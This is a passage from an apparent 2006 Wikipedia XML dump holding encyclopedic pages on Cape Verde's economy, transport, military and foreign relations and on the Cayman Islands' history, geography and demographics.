&lt;br&gt;''chief of mission:''
Ambassador José Brito
&lt;br&gt;''chancery:''
3415 Massachusetts Avenue NW, [[Washington, D.C.]] 20007
&lt;br&gt;''telephone:''
[1] (202) 965-6820
&lt;br&gt;''FAX:''
[1] (202) 965-1207
&lt;br&gt;''consulate(s) general:''
Boston

'''Diplomatic representation from the US:'''
&lt;br&gt;''chief of mission:''
Ambassador Roger Dwayne Pierce (since Sept 27,2005)
&lt;br&gt;''embassy:''
Rua Abilio Macedo 81, [[Praia]]
&lt;br&gt;''mailing address:''
C. P. 201, Praia
&lt;br&gt;''telephone:''
[238] 261 56 16
&lt;br&gt;''FAX:''
[238] 261 13 55
Web page: http://usembassy.state.gov/posts/cv1/ 

'''Flag description:'''
three horizontal bands of light blue (top, double width), white (with a horizontal red stripe in the middle third), and light blue; a circle of 10 yellow five-pointed stars is centered on the hoist end of the red stripe and extends into the upper and lower blue bands.

:''See also :'' [[Cape Verde]]

{{Africa in topic|Politics of}}
[[Category:Cape Verde]]

[[fr:Politique du Cap-Vert]]
[[pt:Política de Cabo Verde]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of Cape Verde</title>
    <id>5463</id>
    <revision>
      <id>38982100</id>
      <timestamp>2006-02-09T22:52:12Z</timestamp>
      <contributor>
        <username>Briaboru</username>
        <id>284038</id>
      </contributor>
      <text xml:space="preserve">{{Economy of Cape Verde table}}
'''Economy - overview:'''
Cape Verde's low per capita [[Gross domestic product|GDP]] reflects a poor natural resource base, including serious [[water]] shortages exacerbated by cycles of long-term [[drought]]. During periods of normal rainfall, only 4 of 10 islands (Santiago, Santo Antão, Fogo, and Brava) support significant agricultural production. Mineral resources are salt, pozzolana (a volcanic rock used in cement production), and limestone.  The economy is service-oriented, with commerce, transport, and public services accounting for almost 70% of GDP. Although nearly 70% of the population lives in rural areas, the share of [[agriculture]] in GDP in 1998 was only 13% (up from 8.9% in 1995); of the 1998 total, [[fishing]] accounts for 1.5%. About 90% of food must be imported. The fishing potential, mostly [[lobster]] and [[tuna]], is not fully exploited. Cape Verde annually runs a high trade deficit, financed by foreign aid and remittances from emigrants; remittances constitute a supplement to GDP of more than 20%. Economic reforms, launched by the new democratic government in 1991, are aimed at developing the private sector and attracting foreign investment to diversify the economy.  Since 1991, the policies the government has pursued include an open welcome to foreign investors and a far-reaching privatization program. It established as top development priorities the promotion of market economy and of the private sector; the development of tourism, light manufacturing industries, and fisheries; and the development of transport, communications, and energy facilities. In 1994-95 Cape Verde received a total of about U.S.$50 million in foreign investments, of which 50% was in industry, 19% in tourism, and 31% in fisheries and services.  Prospects for 2000 depend heavily on the maintenance of aid flows, remittances, and the momentum of the government's development program.

Fish and shellfish are plentiful, and small quantities are exported. Cape Verde has cold storage and freezing facilities as well as fish processing plants in [[Mindelo]], Praia, and on Sal.

Cape Verde's strategic location at the crossroads of mid-Atlantic air and sea lanes has been enhanced by significant improvements at Mindelo's harbor (Porto Grande) and at Sal's international airport. Ship repair facilities at Mindelo were opened in 1983, and the harbors at Mindelo and Praia were recently renovated. The major ports are Mindelo and Praia, but all other islands have small port facilities, some of which are to be expanded in the near future. In addition to the international airport on Sal, airports are located on all of the inhabited islands. The archipelago has 3,050 kilometers (1,830 mi.) of roads, of which 1,010 kilometers (606 mi.) are paved. The airport of Praia is currently undergoing expansion.

:''See also :'' [[Cape Verde]]
[[Category:Cape Verde]]
[[Category:Economies by country|Cape Verde]]
[[Category:African Union member economies|Cape Verde]]
==References==

*[http://www.cia.gov/cia/publications/factbook/geos/cv.html CIA World Factbook]
 
[[fr:Économie du Cap-Vert]]
[[pt:Economia de Cabo Verde]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Cape Verde</title>
    <id>5464</id>
    <revision>
      <id>15903671</id>
      <timestamp>2005-04-22T05:27:25Z</timestamp>
      <contributor>
        <username>Josh Parris</username>
        <id>201578</id>
      </contributor>
      <minor />
      <comment>dab ISP</comment>
      <text xml:space="preserve">'''[[Telephone]]s - main lines in use:'''
60,935 (2002)

'''Telephones - mobile cellular:'''
28,119 (2002)

'''Telephone system:'''
&lt;br&gt;''domestic:''
idomestic: interisland microwave radio relay system with both analog and digital exchanges; work is in progress on a submarine fiber-optic cable system which is scheduled for completion in 2003 
&lt;br&gt;''international:''
2 coaxial submarine cables; HF radiotelephone to [[Senegal]] and [[Guinea-Bissau]]; satellite earth station - 1 [[Intelsat]] ([[Atlantic Ocean]])

'''[[Radio]] [[broadcasting|broadcast]] stations:'''
AM 0, FM 15 (and 17 repeaters), shortwave 0 (2002)

'''Radios:'''
73,000 (1997)

'''[[Television]] broadcast stations:'''
1 (and 7 repeaters) (2002)

'''Televisions:'''
2,000 (1997)

'''[[Internet Service Provider]]s (ISPs):'''
1 (2002)

'''[[Internet]] Users'''
12,000 (2002)

'''[[Country code]]:''' CV

:''See also :'' [[Cape Verde]]

[[Category:Cape Verde]]
[[Category:Communications by country|Cape Verde]]</text>
    </revision>
  </page>
  <page>
    <title>Transport in Cape Verde</title>
    <id>5465</id>
    <revision>
      <id>37831752</id>
      <timestamp>2006-02-02T11:42:48Z</timestamp>
      <contributor>
        <username>Warofdreams</username>
        <id>20855</id>
      </contributor>
      <minor />
      <comment>moved [[Transportation in Cape Verde]] to [[Transport in Cape Verde]]: part of a series</comment>
      <text xml:space="preserve">{{CIA}}

'''[[Railway]]s:'''
0 km

'''[[Highway]]s:'''
&lt;br&gt;''total:''
1,100 km
&lt;br&gt;''paved:''
858 km
&lt;br&gt;''unpaved:''
242 km (1996 est.)

'''Ports and [[harbor]]s:'''
[[Mindelo]], [[Praia]], [[Tarrafal]]

'''[[Merchant marine]]:'''
&lt;br&gt;''total:''
5 ships (1,000 GRT or over) totaling 9,523 GRT/11,795 DWT
&lt;br&gt;''ships by type:''
cargo 4, chemical tanker 1 (1999 est.)

'''[[Airport]]s:'''
6 (1999 est.)

'''Airports - with paved runways:'''
&lt;br&gt;''total:''
6
&lt;br&gt;''over 3,047 m:''
1
&lt;br&gt;''914 to 1,523 m:''
5 (1999 est.)

'''National Airline'''
&lt;br&gt;''[[TACV|TACV Cabo Verde]]''

:''See also :'' [[Cape Verde]]

{{Africa in topic|Transport in}}

[[Category:Cape Verde]]
[[Category:Transportation by country|Cape Verde]]</text>
    </revision>
  </page>
  <page>
    <title>Military of Cape Verde</title>
    <id>5466</id>
    <revision>
      <id>15903673</id>
      <timestamp>2004-09-20T01:37:21Z</timestamp>
      <contributor>
        <username>Ingoolemo</username>
        <id>71699</id>
      </contributor>
      <minor />
      <comment>categorisation</comment>
      <text xml:space="preserve">'''Military branches:'''
Army, Coast Guard

'''Military manpower - availability:'''
&lt;br&gt;''males age 15-49:''
92,486 (2002 est.)

'''Military manpower - fit for military service:'''
&lt;br&gt;''males age 15-49:''
52,215 (2002 est.)

'''Military expenditures - dollar figure:'''
$9.3 million (FY01)

'''Military expenditures - percent of GDP:'''
1.6% (FY01)

==References and Links==
*[[Cape Verde]]
[[Category:Cape Verde]]
[[Category:Militaries|Cape Verde]]</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of Cape Verde</title>
    <id>5467</id>
    <revision>
      <id>37154323</id>
      <timestamp>2006-01-29T01:59:30Z</timestamp>
      <contributor>
        <username>Wikiacc</username>
        <id>84893</id>
      </contributor>
      <minor />
      <comment>{{Africa in topic|Foreign relations of}}</comment>
      <text xml:space="preserve">{{Politics of Cape Verde}}
Cape Verde follows a policy of [[nonalignment]] and seeks cooperative relations with all friendly states. [[Angola]], [[Brazil]], the [[People's Republic of China]], [[Cuba]], [[France]], [[Germany]], [[Portugal]], [[Senegal]], [[Russia]], and the [[United States]] maintain embassies in [[Praia]].

Cape Verde is actively interested in foreign affairs, especially in Africa. It has [[Bilateralism|bilateral relations]] with some [[lusophone]] nations and holds membership in a number of international organizations. It also participates in most international conferences on economic and political issues.

'''Disputes - international:'''
none

'''Illicit drugs:'''
used as a transshipment point for illicit drugs moving from [[Latin America]] and [[Africa]] destined for Western [[Europe]]

:''See also :'' [[Cape Verde]]

{{Africa in topic|Foreign relations of}}

[[Category:Cape Verde]]
[[Category:Foreign relations by country|Cape Verde, Foreign affairs of]]</text>
    </revision>
  </page>
  <page>
    <title>Cayman Islands</title>
    <id>5468</id>
    <revision>
      <id>42106435</id>
      <timestamp>2006-03-03T21:42:38Z</timestamp>
      <contributor>
        <username>SnappingTurtle</username>
        <id>689160</id>
      </contributor>
      <comment>Revert to revision 41926545 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">{{Infobox Country |&lt;!-- If editing infobox, please update [[Template:Country infobox data Cayman Islands]] also --&gt; 
  native_name                      = Cayman Islands |
  common_name                      = the Cayman Islands |
  image_flag                       = Flag of the Cayman Islands.svg |
  image_coat                       = Cayman Islands coat of arms large.png |
  image_map                        = LocationCaymanIslands.png |
  national_motto                   = He hath founded it upon the seas |
  national_anthem                  = [[God Save the Queen]]'' (Royal Anthem)'' |
  official_languages               = [[English language|English]] |
  capital                          = [[George Town, Cayman Islands|George Town]] |
  largest_city                     = George Town |
latd=19|latm=20|latNS=N|longd=81|longm=24|longEW=W|
  largest_district                 = [[George Town, Cayman Islands|George Town]]  |
  government_type                  = [[Constitutional monarchy]] |
  leader_titles                    = [[Governors of the Cayman Islands|Governor]]&lt;br&gt;[[Leader of Gov't Business]] |
  leader_names                     = [[Stuart Jack]]&lt;br&gt;[[Kurt Tibbetts]] |
  area                             = 260 |
  areami²                         = 100.4 |&lt;!-- Do not remove per [[WP:MOSNUM]] --&gt;
  area_rank                        = 221st |
  area_magnitude                   = 1 E8 |
  percent_water                    = 1.6% |
  population_estimate              = 44,270 |
  population_estimate_year         = 2005 |
  population_estimate_rank         = 212th |
  population_census                = 39,020 |
  population_census_year           = 1999 |
  population_density               = 139.5 |
  population_densitymi²            = 361.3 |&lt;!-- Do not remove per [[WP:MOSNUM]] --&gt;
  population_density_rank          = n/a|
  GDP_PPP_year                     = 2004 |
  GDP_PPP                          = 1,391,000,000 |
  GDP_PPP_rank                     = n/a|
  GDP_PPP_per_capita               = 32,300 |
  GDP_PPP_per_capita_rank          = n/a|
  HDI_year                         = 2003 |
  HDI                              = NA |
  HDI_rank                         = unranked |
  HDI_category                     = &lt;font color=gray&gt;NA&lt;/font&gt; | 
  sovereignty_type                 = Creation |
  established_dates                = [[1963]] |
  established_events               = (split from [[Jamaica]])|
  currency                         = [[Cayman dollar]] |
  currency_code                    = KYD |
  time_zone                        = |
  utc_offset                       = -5 |
  time_zone_DST                    = not observed |
  utc_offset_DST                   = -5 |
  cctld                            = [[.ky]] |
  calling_code                     = [[Area code 345|1-345]] |
  footnotes                        = |
}}

The '''Cayman Islands''' are an [[British overseas territory|overseas territory]] of the [[United Kingdom]] in the western [[Caribbean Sea]] comprising the islands of [[Grand Cayman]], [[Cayman Brac]], and [[Little Cayman]].

== History ==
{{main|History of the Cayman Islands}}

The Cayman Islands - often referred to as The Caymans, or (more correctly) just Cayman - were first visited by [[Christopher Columbus]] on [[May 10]], [[1503]] during his fourth and final voyage to the [[New World]]. The first recorded English visitor to the islands was [[Sir Francis Drake]], who landed there in 1586 and named them the Cayman Islands after the [[Neo-Taíno nations]] term (caiman) for crocodile (Zayas, 1914). The islands, along with nearby [[Jamaica]], were ceded to [[Kingdom of England|England]] in [[1670]] under the [[Treaty of Madrid (1670)|Treaty of Madrid]]. They were governed as a single colony with Jamaica until [[1962]] when they became a separate British overseas [[territory]] and Jamaica became an independent [[commonwealth realm]].

The island of Grand Cayman was severely damaged by the [[Saffir-Simpson Hurricane Scale|Category Five]] [[Hurricane Ivan]] in September [[2004]], which destroyed many buildings and damaged most of them. Power, water and communications were all disrupted. Ivan was the worst hurricane to hit the islands in 86 years. The island has made rapid recovery since Ivan, with most of the infrastructure now restored.

== Geography ==
{{main|Geography of the Cayman Islands}}

The Cayman Islands are located in the western [[Caribbean sea]]. The three islands are situated about 480 [[mile]]s (770&amp;nbsp;[[kilometer|km]]) south of [[Miami]], 150 miles (240&amp;nbsp;km) south of [[Cuba]], and 180 miles (290&amp;nbsp;km) northwest of [[Jamaica]]. [[Grand Cayman]] is by far the largest, with an area of 76 [[square mile]]s (197&amp;nbsp;[[square kilometre|km²]]). The two &quot;[[Sister Islands]]&quot; of [[Cayman Brac]] and [[Little Cayman]] are located about 90 miles (145&amp;nbsp;km) east of Grand Cayman and have areas of 14 square miles (36&amp;nbsp;km²) and 10 square miles (25.9&amp;nbsp;km²) respectively. [[Image:BracBluff.jpg|thumb|right|225px|The Bluff on Cayman Brac]]
All three islands were formed by large coral heads covering submerged ice age peaks of western extensions of the Cuban Sierra Maestra range [http://www.trekearth.com/gallery/Europe/United_Kingdom/Other/photo296490.htm]) and are mostly flat. One notable exception to this is [[The Bluff]] on Cayman Brac, which rises to 140&amp;nbsp;[[foot (unit of length)|feet]] (42.6&amp;nbsp;[[metre|m]]) above sea level, the highest point on the island.

Cayman avian fauna [http://www.findarticles.com/p/articles/mi_m1134/is_2_112/ai_98254956] includes two endemic subspecies of Amazona parrots (''Amazona leucocephala hesterna'') and (''Amazona leucocephala caymanensis'') [http://birding.about.com/od/placescaymanis/] [http://www.nationaltrust.org.ky/info/parrots.html].

== Demographics ==
{{main|Demographics of the Cayman Islands}}

The population of the Cayman Islands is 34,763 as of July 2000. Out of that number, about half are of Caymanian descent. About 60% of the population is of mixed race. Of the remaining 40%, about half are [[whites|Caucasian]] and half are of [[African]] descent. The islands are almost exclusively Christian, with large number of Presbyterians and [[Anglican Church|Anglicans]]. Caymanians enjoy one of the highest standards of living in the West Indies. The vast majority of the population resides on Grand Cayman. Cayman Brac is the second most populated with about 2,000 residents, followed by Little Cayman with around 200 permanent residents.  Approximately one quarter of the Islands' population left following Hurricane Ivan, due to the myriad of problems, financial and otherwise, caused by the hurricane.

The capital and major city of the Cayman Islands is [[George Town, Cayman Islands|George Town]], which is located on the west coast of Grand Cayman.

== Economy ==
{{main|Economy of the Cayman Islands}}

The economy of the Cayman Islands used to be built around [[turtling]]. However, this industry began to disappear in the 20th century and tourism and financial services began to become predominant due to the advent of modern transportation. The [[United States of America]] is the Cayman Islands' largest trading partner.

With an average income of around $35,000, Caymanians enjoy the highest standard of living in the Caribbean. The islands print their own currency, the [[Cayman Islands Dollar]] (KYD), which is pegged to the US dollar at a fixed rate of 1 KYD = 1.227 USD.  Thus, the C.I. Dollar's rate of exchange with all other world countries is directly tied to the U.S. Dollar's rate of exchange with those same countries.

The government's primary source of income is [[indirect tax|indirect taxation]]. An import duty of 20% is levied against goods imported into the islands. Few goods are exempt; notable examples include books, cameras &amp; baby formula. Duty on automobiles is charged on a sliding scale with the duty reaching 40% for expensive models. The government charges a flat licensing fee to financial institutions that operate in the islands. A small fee is also charged to each tourist that arrives on the islands.

===Tourism===
Tourism accounts for 70-75% of the annual GDP of the Cayman Islands and is hence a major part of the economy. Of the millions of tourists that visit the islands annually, 99% of the them stay on Grand Cayman. George Town also serves as a major [[cruise ship]] port, which brings in 2000-3000 tourists a day, 5 days a week.

Grand Cayman's major tourist attraction is the world-famous [[Seven Mile Beach, Grand Cayman|Seven Mile Beach]] on which most of the island's hotels and resorts are located. SMB was recently named the &quot;Caribbean's Best Beach&quot; by [[Caribbean Travel and Life Magazine]] and is regarded by many as one of the best beaches in the world.

The Cayman Islands are also world famous as a [[Scuba Diving]] destination because of their proximity to the [[Cayman Wall]] and the [[Cayman Trench]], which extend deep into the coral reefs of the Caribbean. [[Cayman Brac]] and [[Little Cayman]] are also considered to be elite dive destinations. There are several snorkeling locations where tourists can swim with [[Stingray|stingrays]].

''See also: [[Scuba Diving on the Cayman Islands]]''

===Financial services industry===
Because the Cayman Islands are not subject to [[Direct tax|direct taxation]] by the British government, nor is there a local income tax, they serve as an international [[offshore bank]]ing hub and [[tax haven]] for millions of people and corporations. As of July 2000, almost 40,000 companies were incorporated on the Cayman Islands including 600 banking and trust companies with assets in excess of $500 billion.  Approximately 5,000 out of the world's 8,000 [[hedge fund]]s are also domiciled in the Cayman Islands. This contributes to the Cayman Islands being a major [[Financial export| financial service exporter]].

== Government and politics==
{{main|Politics of the Cayman Islands}}

Although it is a British dependency, the Cayman Islands are largely self-governing concerning local affairs. A 15-seat [[Legislative Assembly]] is elected by the people every 4 years to handle domestic affairs. Of the elected Members of the Legislative Assembly, or MLA's, 5 are chosen to serve as government ministers. The head of government is the [[Leader of Government Business]], which is currently [[Kurt Tibbetts|The Honourable Kurt Tibbetts]].

A [[Governor of the Cayman Islands|Governor]] is appointed by the British government to represent the monarch. In modern times, the governor's powers are limited to handling defence, foreign affairs and the police force.  Most of these affairs are actually handled by the [[Chief Secretary]], who is the Acting Governor when the Governor is not able to discharge his usual duties for one reason or another, but on a day to day basis oversees the Civil Service including the portfolio of Internal &amp; External Affairs. The current governor of the Cayman Islands is [[Stuart Jack]] and the current Chief Secretary is [[George McCarthy|Hon. George McCarthy, OBE, JP]]

The islands have been governed by a written [[constitution]] since becoming a British Crown Colony in 1962. Currently, the Governor has called for the Constitution to be modernised, an issue being debated by the Legislative Assembly, with Britain having made it known that such an action should originate within the people of the Cayman Islands and follow the referendum route.

==Taxation==
Caymanians and Caymanian companies are not subject to any form of direct taxation as well as residents of the Islands. However, an import tax of between 5-20% is levied on almost all imported goods.

== Education ==
The Cayman Islands Education Council operates public schools on the island.

==Military==
{{main|Military of the Cayman Islands}}

The defence of the Cayman Islands is the responsibility of the [[United Kingdom]]. Therefore, the islands have no established military. They do however have their own police force, the [[Royal Cayman Islands Police Service]] and in 2001, the small [[Cayman Islands Cadet Corps]] was formed in the place of a traditional army.

== Foreign relations ==
{{main|Foreign relations of the Cayman Islands}}

The foreign relations of the Cayman Islands are largely managed from the [[United Kingdom]], as the islands remain an overseas territory of the UK. However, the Government of the Cayman Islands often resolves important issues with foreign governments alone, without intervention from Britain. Although in its early days, the Cayman Islands' most important relationships were with Britain and [[Jamaica]], in recent years, this has shifted, and they now rely more so on the [[United States]].

Though the Cayman Islands are involved in no major international disputes, they have come under some criticism due to the use of their territory for narcotics trafficking and [[money laundering]]. In an attempt to address this, the Government entered into the Narcotics Agreement of 1984 and the [[Mutual Legal Assistance Treaty]] of 1986 with the United States, in order to reduce the use of their facilities associated with these activities. In more recent years, they have stepped up the fight against money laundering, by limiting banking secrecy, introducing requirements for customer identification and record keeping, and requiring banks to cooperate with foreign investigators.

Due to their status as an overseas territory of the UK, the Cayman Islands have no representation either on the [[United Nations]], or in most other international organizations. However, the Cayman Islands still participates in some international organisations, being a full member of the [[Central Development Bank]] and [[International Olympic Committee]], an associate member of [[Caricom]] and [[UNESCO]], and a member of a sub-bureau of [[Interpol]].

== In fiction ==
Large parts of the novel ''[[The Firm (book)|The Firm]]'' by [[John Grisham]] takes place on the Cayman Islands. The main character works for a [[Memphis, Tennessee|Memphis]], [[Tennessee]] law firm that uses island banks for money laundering.

[[Frankie Flowers]]' [[2004]] film ''[[Haven (movie) | Haven]]'' takes place on Grand Cayman.  Frankie Flowers is a native of the Cayman Islands.

[[Image:Cayman Islands-CIA WFB Map.png|thumb|Map of the Cayman Islands]]
== References ==
* {{cite web
 | url = http://www.cia.gov/cia/publications/factbook/geos/cj.html
 | title = Cayman Islands
 | work = 2005 CIA World Factbook
 | accessyear = 2005 | accessdate = July 4
 }} ''Originally from the [[CIA World Factbook]] 2000.''
* {{Anb | UN_decolonisation }}{{cite web
 | url = http://www.un.org/Depts/dpi/decolonization/trust3.htm
 | title = Non-Self-Governing Territories listed by General Assembly in 2002
 | work = United Nations Special Committee of 24 on Decolonization
 | accessyear = 2005 | accessdate = July 4
 }}
* {{cite book
 | author = Michael Craton and the New Historical Committee
 | year = 2003
 | title = Founded upon the Seas: A History of the Cayman Islands and Their People
 | publisher = Ian Randel Publishers
 | id = ISBN 0-9729358-3-5
 }}
* {{cite book
 | author = Alfredo Zayas y Alfonso, 
 | year = 1914
 | title = Lexografía Antillana
 | publisher = El Siglo XX Press, Havana
 | id = ISBN 0-000-000
 }}

== External links ==
* [http://www.gov.ky Cayman Islands Government]
* [http://www.caymanislands.ky/ Cayman Islands Department of Tourism]
* [http://www.investcayman.gov.ky/ Cayman Islands Investment Bureau]
* [http://www.gocayman.ky/ Grand Cayman Islands Vacation Directory]
* [http://www.caribbean-on-line.com/islands/cy/gcmap.shtml Map of Grand Cayman]

{{Caricom}}
{{West_Indies}}
{{British dependencies}}

[[Category:Caribbean islands]]
[[Category:Cayman Islands|Cayman Islands]]
[[Category:Current British colonies]]
[[Category:Special territories of the European Union]]

[[af:Caymaneilande]]
[[bg:Кайманови острови]]
[[ca:Illes Caiman]]
[[cs:Kajmanské ostrovy]]
[[da:Cayman-øerne]]
[[de:Kaimaninseln]]
[[eo:Kajmaninsuloj]]
[[es:Islas Caimán]]
[[fi:Caymansaaret]]
[[fr:Îles Caïmanes]]
[[gl:Illas Caimán - Cayman Islands]]
[[he:איי קיימן]]
[[hr:Kajmanski otoci]]
[[hu:Kajmán-szigetek]]
[[id:Kepulauan Cayman]]
[[io:Kayman-Insuli]]
[[is:Caymaneyjar]]
[[ja:ケイマン諸島]]
[[ko:케이맨 제도]]
[[lt:Kaimanų salos]]
[[nl:Caymaneilanden]]
[[no:Caymanøyene]]
[[pl:Kajmany (wyspy)]]
[[pt:Ilhas Caymans]]
[[ru:Каймановы острова]]
[[simple:Cayman Islands]]
[[sk:Kajmanské ostrovy]]
[[sl:Kajmanski otoki]]
[[sv:Caymanöarna]]
[[tr:Cayman Adaları]]
[[uk:Кайманові острови]]
[[zh:開曼群島]]
[[zh-min-nan:Cayman Kûn-tó]]</text>
    </revision>
  </page>
  <page>
    <title>History of the Cayman Islands</title>
    <id>5469</id>
    <revision>
      <id>36464638</id>
      <timestamp>2006-01-24T05:23:24Z</timestamp>
      <contributor>
        <ip>64.12.116.10</ip>
      </contributor>
      <comment>The same old...</comment>
      <text xml:space="preserve">[[Christopher Columbus]] discovered the [[Cayman Islands]] on [[May 10]], [[1503]] and named them ''Las Tortugas'' after the numerous [[sea turtle]]s there. Columbus had found the two small islands (Cayman Brac and Little Cayman) and it was these 2 islands that he named &quot;Las Tortugas&quot;.

A 1523 map of the islands referred to them as Lagartos, meaning alligators or large lizards, but by 1530 they were known as the Caymanas after the Carib word for the marine crocodile which also lived there.

The first recorded English visitor was [[Sir Francis Drake]] in [[1586]], who reported that the ''caymanas'' were edible, but it was the turtles which attracted ships in search of fresh meat for their crews. Overfishing nearly extinguished th turtles from the local waters.

The Cayman Islands remained largely uninhabited until the 17th century. A variety of people settled on the islands: [[pirate]]s, refugees from the [[Spanish Inquisition]], shipwrecked sailors, deserters from [[Oliver Cromwell]]'s army in [[Jamaica]], and [[Slavery|slave]]s. The majority of Caymanians are of [[Africa]]n and [[Great Britain|British]] descent, with considerable interracial mixing.

Britain took formal control of the Caymans, along with Jamaica, under the [[Treaty of Madrid (1670)|Treaty of Madrid]] in 1670 after the first settlers came from Jamaica in 1661-71 to Little Cayman and Cayman Brac. These first settlements were abandoned after attacks by Spanish privateers, but British privateers often used the Cayman Islands as a base and in the 18th century they became an increasingly popular hideout for pirates, even after the end of legitimate privateering in 1713. Following several unsuccessful attempts, permanent settlement of the islands began in the 1730s. The Cayman Islands historically have been popular as a tax haven. In November 1794, a convoy of 10 Jamaican merchantmen was wrecked on the reef in Gun Bay, on the East end of Grand Cayman, but with the help of local settlers, there was no loss of life. Legend has it that there was a member of the Royal Family onboard and that in gratitude for their bravery, King George III decreed that Caymanians should never be conscripted for war service and Parliament legislated that they should never be taxed.

From 1670, the Cayman Islands were effective dependencies of Jamaica, although there was considerable self-government. In [[1832]], a legislative assembly was established, consisting of eight magistrates appointed by the Governor of Jamaica and 10 (later increased to 27) elected representatives.  The Cayman Islands were officially declared and administered as a dependency of Jamaica from 1863, but were rather like a [[parish]] of Jamaica with the nominated justices of the peace and elected vestrymen in their Legislature. From 1750 to 1898 the Chief Magistrate was the administrating official for the dependency, appointed by the Jamaican governor. In 1898 the Governor of Jamaica began appointing a Commissioner for the Islands. In 1959, upon the formation of the [[Federation of the West Indies]] the dependency status with regards to Jamaica ceased officially although the Governor of Jamaica remained the Governor of the Cayman Islands and had reserve powers over the Islands. Starting in 1959 the chief official overseeing the day to day affairs of the islands (for the Governor) was the Administrator. Upon Jamaica's independence in 1962, the Cayman Islands broke its administrative links with Jamaica and opted to become a direct dependency of the British Crown, with the chief official of the islands being the Administrator.

In 1971 the governmental structure of the Islands was again changed with a Governor now running the Cayman Islands.

In 1991 a review of the 1972 constitution recommended several constitutional changes to be debated by the Legislative Assembly. The post of [[Chief Secretary]] was reinstated in 1992 after having been abolished in 1986. The establishment of the post of [[Chief Minister]] was also proposed. However, in November 1992 elections were held for an enlarged Legislative Assembly and the Government was soundly defeated, casting doubt on constitutional reform.  The &quot;National Team&quot; of government critics won 12 (later reduced to 11) of the 15 seats, and independents won the other three, after a campaign opposing the appointment of 
Chief Minister and advocating spending cuts. The unofficial leader of the team, Thomas Jefferson, had been the appointed Financial Secretary until March 1992, when he resigned over public spending disputes to fight the election. After the elections, Mr. Jefferson was appointed Minister and leader of government business; he also held the portfolios of Tourism, Aviation and Commerce in the Executive Council. Three teams with a total of 44 candidates contested the general election held on November 20, 1996: the governing National Team, Team Cayman and the Democratic Alliance Group. The National Team were returned to office but with a reduced majority, winning 9 seats. The Democratic Alliance won 2 seats in George Town, Team Cayman won one in Bodden Town and independents won seats in George Town, Cayman Brac and Little Cayman.

Although all administrative links with Jamaica were broken in 1962, the Cayman Islands and Jamaica continue to share many links and experiences, including membership in the [[Commonwealth of Nations]] (and Commonwealth citizenship) and a common church ([[The Church of Jamaica and the Cayman Islands]]) and diocese as well as a [[Jamaican dollar|common currency]] (until [[1972]]). Also, by 1999, 38-40% of the population of the Cayman Islands was of Jamaican origin and in 2004/2005 little over 50% of the [[expatriates]] [[work permit|working]] in the Cayman Islands (i.e. 8,000) were Jamaicans (with the next largest expatriate communities coming from the Unites States, United Kingdom and Canada).

In September 2004, The Cayman Islands were hit by [[Hurricane Ivan]], causing mass devastation, loss of human and animal life (both wild and domestic/livestock) and flooding, with some accounts reporting that 25% or more of Grand Cayman had been underwater and with the lower floors of buildings being completely flooded. This natural disaster also led to the bankruptcy of a heavily invested insurance company called Doyle. The company had re-leased estimates covering 20% damage to be re-insured at minimal fees when in fact the damage was over 65% and every claim was in the millions. The company simply could not keep paying out and the adjusters could not help lower the payments due to the high building code the Islands adhere to.

Much suspense was built around the devastation that Hurricane Ivan had caused as the leader of Government business Mr. Mckeeva Bush decided to close the Islands to any and all reporters. This led to severe reports in the media of hundreds dead, when in fact none but two that refused to stay in the shelters were lost. It was also a collective decision within the government at that time to turn away two British warships that had arrived the day after the storm with supplies. This decision was met by outrage from the Islanders who thought that it should have been their decision to make. However, when the Island re-opened in early December to tourists the cruise ships once more started to pour in, all intrigued to see the damage. 

While there were visible signs of damage, in the vegetation and an apparent lack of construction in some places, the Island was bustling again as some things had been freshly re-built and those that were not were quite on their way. There remain housing issues for many of the residents as of late 2005.

:''See also :'' [[Cayman Islands]]

[[Category:Cayman Islands]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of the Cayman Islands</title>
    <id>5470</id>
    <revision>
      <id>29570475</id>
      <timestamp>2005-11-29T07:21:58Z</timestamp>
      <contributor>
        <username>Grutness</username>
        <id>117878</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{CIA}}

[[image:cayman_islands_sm02.png|right|Map Of Cayman islands]]

[[Caribbean]], island group in [[Caribbean Sea]], nearly one-half of the way from [[Cuba]] to [[Honduras]]

==Geographic coordinates==
{{coor dm|19|30|N|80|30|W|}}

==Map references==
[[Central America]] and the [[Caribbean]]

==Area==
''total:''
259 km&amp;sup2;
&lt;br&gt;''land:''
259 km&amp;sup2;
&lt;br&gt;''water:''
0 km&amp;sup2;

===Area - comparative===
1.5 times the size of [[Washington, DC]]

===Land boundaries===
0 km

===Coastline===
160 km

===Maritime claims===
''exclusive fishing zone:''
200 nm
&lt;br&gt;''territorial sea:''
12 nm

==Climate==
tropical marine; warm, rainy summers (May to October) and cool, relatively dry winters (November to April)

==Terrain==
low-lying [[limestone]] base surrounded by [[coral reef]]s

===Elevation extremes===
''lowest point:''
Caribbean Sea 0 m
&lt;br&gt;''highest point:''
The Bluff 43 m

==Natural resources==
[[fish]], climate and beaches that foster tourism

===Land use===
''arable land:''
0%
&lt;br&gt;''permanent crops:''
0%
&lt;br&gt;''permanent pastures:''
8%
&lt;br&gt;''forests and woodland:''
23%
&lt;br&gt;''other:''
69% (1993 est.)

===Irrigated land===
NA km&amp;sup2;

==Natural hazards==
hurricanes (July to November)

==Environment - current issues==
no natural fresh water resources; [[drinking water]] supplies must be met by rainwater catchment and desalination

==Geography - note==
important location between [[Cuba]] and [[Central America]]

==See also==
*[[Cayman Islands]]


{{Caymans-stub}}{{Caribbean-geo-stub}}

[[Category:Cayman Islands]]
[[Category:Geography by country|Cayman Islands]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of the Cayman Islands</title>
    <id>5471</id>
    <revision>
      <id>29570482</id>
      <timestamp>2005-11-29T07:22:05Z</timestamp>
      <contributor>
        <username>Grutness</username>
        <id>117878</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{CIA}}

'''Population:''' 34,763 (July 2000 est.)

'''Age structure:'''&lt;br&gt;
''0-14 years:'' 22.36% (male 3,769; female 4,005)&lt;br&gt;
''15-64 years:'' 69.84% (male 11,864; female 12,416)&lt;br&gt;
''65 years and over:'' 7.79% (male 1,241; female 1,468) (2000 est.)

'''Population growth rate:''' 2.22% (2000 est.)

'''Birth rate:''' 14.21 births/1,000 population (2000 est.)

'''Death rate:''' 5.09 deaths/1,000 population (2000 est.)

